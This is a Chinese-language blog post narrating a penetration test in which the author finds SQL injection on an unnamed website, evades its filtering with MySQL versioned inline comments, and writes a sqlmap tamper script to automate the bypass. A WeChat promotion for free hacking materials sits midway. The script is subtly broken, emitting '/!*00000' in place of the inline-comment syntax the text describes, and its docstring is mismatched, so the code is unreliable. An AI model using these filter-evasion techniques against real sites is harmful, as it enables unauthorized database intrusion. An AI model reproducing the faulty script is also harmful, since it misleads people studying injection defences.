在一次滲透中學會編寫Tamper腳本

拿到這個網站,通過對比查詢,我們發現

image

閉合參數 finsh 時,查詢出的內容更多

image

經過進一步判斷,確實存在漏洞

image

image

不過在測試的時候發現存在一定的過濾

image

但是可以通過內聯註釋進行繞過。

這裏也是加深瞭解了內聯註釋的知識點,之前只會簡單的利用 /*!50000UniON SeLeCt*/ /*!12345union*/不知其所以然,有這樣一段解釋,在 mysql 中 /*!...*/不是註釋,mysql 爲了保持兼容,它把一些特有的僅在 mysql 上用的語句放在 /*!...*/中,這樣這些語句如果在其他數據庫中是不會被執行,但是在 mysql 中它會執行。當後面接的數據庫版本號小於自身版本號,就會將註釋中的內容執行,當後面接的數據庫版本號大於等於自身版本號,就會當做註釋來處理。如下語句 /*!50001UniON SeLeCt*/ 這裏的 50001 表示假如數據庫的版本是 5.00.01 及其以上版本纔會被使用。這裏我們會產生一個疑問,數據庫的版本也不僅僅是五位數字,也存在四位,甚至於三位,應該是會進行處理 5.7.23 也對應着 5.07.23

image

我們首先查詢出數據庫的版本信息

【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】

① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)

image

當前面的數字爲 50723 及小於這個數的五位數字組合都可以利用成功

image

當前面的數字爲 50724 及大於這個數的五位數字組合無法利用成功

image

我們已經手工驗證過了存在 SQL 注入漏洞,但是卻無法利用 sqlmap 識別出聯合注入,是因爲存在檢測,需要內聯註釋進行繞過

image

我們需要編寫一個Tamper腳本

image

我們打開 sqlmap-master\tamper 下的一個文件 htmlencode.py 我們看到就是一個查找替換的操作

我們目前已經知道需要利用內聯註釋來實現繞過檢測的操作

image

我們修改代碼

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')

    >>> tamper("1' AND SLEEP(5)#")
    '1'/!*00000AND SLEEP(5)*/#'
    """
    if payload:
        replaced_text = payload
        replace_code = re.search(r"'(.*?)(#|--)", payload)
        if replace_code:
             replaced_text = re.sub(r"(?<=')(.*?)(?=#|--)", r"/!*00000\1*/", payload)
  
    return replaced_text

成功生效

image

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章